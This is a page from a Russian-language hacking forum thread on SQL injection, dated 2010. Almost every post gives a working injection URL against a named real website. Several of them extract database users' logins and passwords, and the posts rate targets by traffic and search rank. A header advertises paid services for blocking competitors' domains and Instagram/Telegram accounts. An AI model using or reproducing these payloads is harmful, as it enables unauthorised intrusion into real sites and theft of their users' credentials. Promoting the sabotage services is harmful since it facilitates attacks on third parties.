УСТРАНЕНИЕ КОНКУРЕНТОВ. БЛОКИРОВКА ДОМЕНОВ, БЛОКИРОВКА ИНСТАГРАМ/ТЕЛЕГРАМ И ДРУГОЕ. ПРОВЕРЕННЫЙ СЕЛЛЕР.

ANTICHAT — форум по информационной безопасности, OSINT и технологиям

ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию. Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club, и теперь снова доступен на новом адресе — forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.

		Форум АНТИЧАТ > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости
SQL Инъекции

Страница 1263 из 1604

1263

Опции темы

Поиск в этой теме

Опции просмотра

#12621

22.07.2010, 13:21

ZARO

Познающий

Регистрация: 17.04.2009

Сообщений: 59

Провел на форуме:
401944

Репутация: 37

http://infametr.ru/infa/-1079202+'+UNION+SELECT+1,concat_ws(0x3a,version(), user(),database()),3+--+

Очень большой траф.

#12622

22.07.2010, 22:47

KENT1994

Участник форума

Регистрация: 25.09.2009

Сообщений: 147

Провел на форуме:
1768674

Репутация: 65

Код:

http://www.smolensk2.ru/user.php?login=v.v. AND %True_Expression%

Host IP: 80.93.48.50

Web Server: Apache/2.2.14 (Fedora)

Powered-by: PHP/5.2.9

DB Server: MySQL

#12623

23.07.2010, 00:31

ZARO

Познающий

Регистрация: 17.04.2009

Сообщений: 59

Провел на форуме:
401944

Репутация: 37

http://deti.db.am/play/view/-82977+UNION+SELECT+1,2,3,4,5,6,7,concat_ws(0x3a,ve rsion(),user(),database()),9,10,11,12,13,14,15,16, 17,18,19,20,21+--+

Поисковая система.

#12624

23.07.2010, 03:45

iv.

Познавший АНТИЧАТ

Регистрация: 21.03.2007

Сообщений: 1,200

Провел на форуме:
7134052

Репутация: 1204

Цитата:

Сообщение от None

http://www.itopfield.com.au/product-detail.asp?idx=1+or+1=(SELECT+TOP+1+cast(Username+ as+nvarchar)%2B'%3A'%2Bcast(Password+as+nvarchar)+ from+frmAuthor)

Microsoft SQL Server 2005

Цитата:

Сообщение от None

http://www.thefootballramble.com/blog-full.asp?id=-1+union+select+1,unhex(hex(version())),3,4,5

MySQL4 под вендой =\

Цитата:

Сообщение от None

http://www.focasa.com/landstart.asp?land=1' or 1=(SELECT TOP 1 cast(user_login as nvarchar)%2B'%3A'%2Bcast(user_password as nvarchar) FROM users)--

Microsoft SQL Server 2000 с немецкой локализацией

Цитата:

Сообщение от None

http://athletics.menlo.edu/news.php?spcat=12345+and+1=cast((SELECT+version()| |chr(58)||current_user||chr(58)||current_database( ))+as+int)

PostgreSQL 8.3.7

Цитата:

Сообщение от None

http://www.eurotruss.nl/news_show.php?id=-1' union select 1,2,3,version(),5,6/*

MySQL5 без каких-либо признаков таблиц с пользовательскими данными..

#12625

23.07.2010, 17:29

Konqi

Постоянный

Регистрация: 24.06.2009

Сообщений: 542

Провел на форуме:
2101094

Репутация: 672

шоп

http://www.eliteshina.ru/tyreinfo.php?id=285+union+select+version()::int,nu ll,null,null,null,null,null+from+pg_user--

#12626

23.07.2010, 21:28

Skofield

Участник форума

Регистрация: 27.08.2008

Сообщений: 209

Провел на форуме:
1759582

Репутация: 394

Код:

http://www.domoticaviva.com/PHP/newsphp.php?id=-804+union+select+1,2,3,version%28%29,5,6,7,8/*

Database Version: 4.1.22

Database name: qbs057

User name: qbs057@217.76.130.103

#12627

23.07.2010, 22:33

-PRIVAT-

Участник форума

Регистрация: 17.04.2010

Сообщений: 221

Провел на форуме:
344917

Репутация: 17

http://spb.egent.ru/metro/metro.php?id=-187+union+select+1,2,3%20--

ТИЦ-20

http://www.agentam.ru/metro.php?id=-139+union+select+concat_ws%280x3a,id_ag,nameco,nam ,passwd%29+from+users--

ТИЦ-10

PR-2

http://www.cyb-elles.org/popup/institut.php?id=-3+union+select+1,group_concat%28column_name%29,4,2 +from+information_schema.columns+where+table_name= 0x62645f666f72756d%20--

ТИЦ-10

PR-3

#12628

24.07.2010, 04:10

~d0s~

Познающий

Регистрация: 17.04.2010

Сообщений: 75

Провел на форуме:
691279

Репутация: 55

cerd-rj.com.br pr 2

Код:

http://www.cerd-rj.com.br/cartilha.php?secao=12-999.9+union+select+1,2,3,4,concat_ws(0x3a,user(),version(),database(),@@version_compile_os)--

tanaka-usa.com pr 5 тиц 10

Код:

http://www.tanaka-usa.com/index.php?section=156-999.9+union+select+1,2,3,4,5,6,7,concat_ws(0x3a,user(),version(),database(),@@version_compile_os),9,10,11,12,13,14--

wordsbyrachel.com pr 1

Код:

http://wordsbyrachel.com/page.php?go=2-999.9+union+select+1,2,3,concat_ws(0x3a,user(),version(),database(),@@version_compile_os)--

#12629

24.07.2010, 14:24

CyberHunter

Постоянный

Регистрация: 06.01.2010

Сообщений: 785

Провел на форуме:
1777031

Репутация: 256

http://www.chirurgie-hernie-paris.com/institut.php?id=30+and+substring(version(),1,1)=4--+

Version: 4

----------------

http://www.ipb-ild.edu.rs/institut.php?id=1027+and+substring(version(),1,1)= 3

Version: 3

----------------

http://www.agentam.ru/metro.php?id=-139+union+select+1--+

User: agent_db@localhost

Database: agent_db

Version: 5.0.77

CY: 10

PR: 2

Users

http://www.agentam.ru/metro.php?id=-139+union+select+concat(id_ag,0x3a,ident,0x3a,name co,0x3a,stat,0x3a,fam,0x3a,nam,0x3a,ot,0x3a,tel1,0 x3a,tel2,0x3a,email,0x3a,www,0x3a,icq,0x3a,acc,0x3 a,dat_in,0x3a,dat_last,0x3a,col_recs,0x3a,activ,0x 3a,ip,0x3a,passwd,0x3a,logo,0x3a,kod,0x3a,smscode) +from+users+limit+0,1--+

#12630

24.07.2010, 15:10

iv.

Познавший АНТИЧАТ

Регистрация: 21.03.2007

Сообщений: 1,200

Провел на форуме:
7134052

Репутация: 1204

Взрыв мозга, MySQL5. Есть таблицы cpg14x_users fe_users be_users evo_users, но на их просмотр, судя по всему, нет прав

Цитата:

Сообщение от None

http://www.stevens.edu/provost/news/single_news.php?news_events_id=-1 UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,version(),14,15,16,17,1 8,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34, 35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51 ,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,6 8,69,70,71,72,73,74,75,76,77,78,79,80,81,82,83--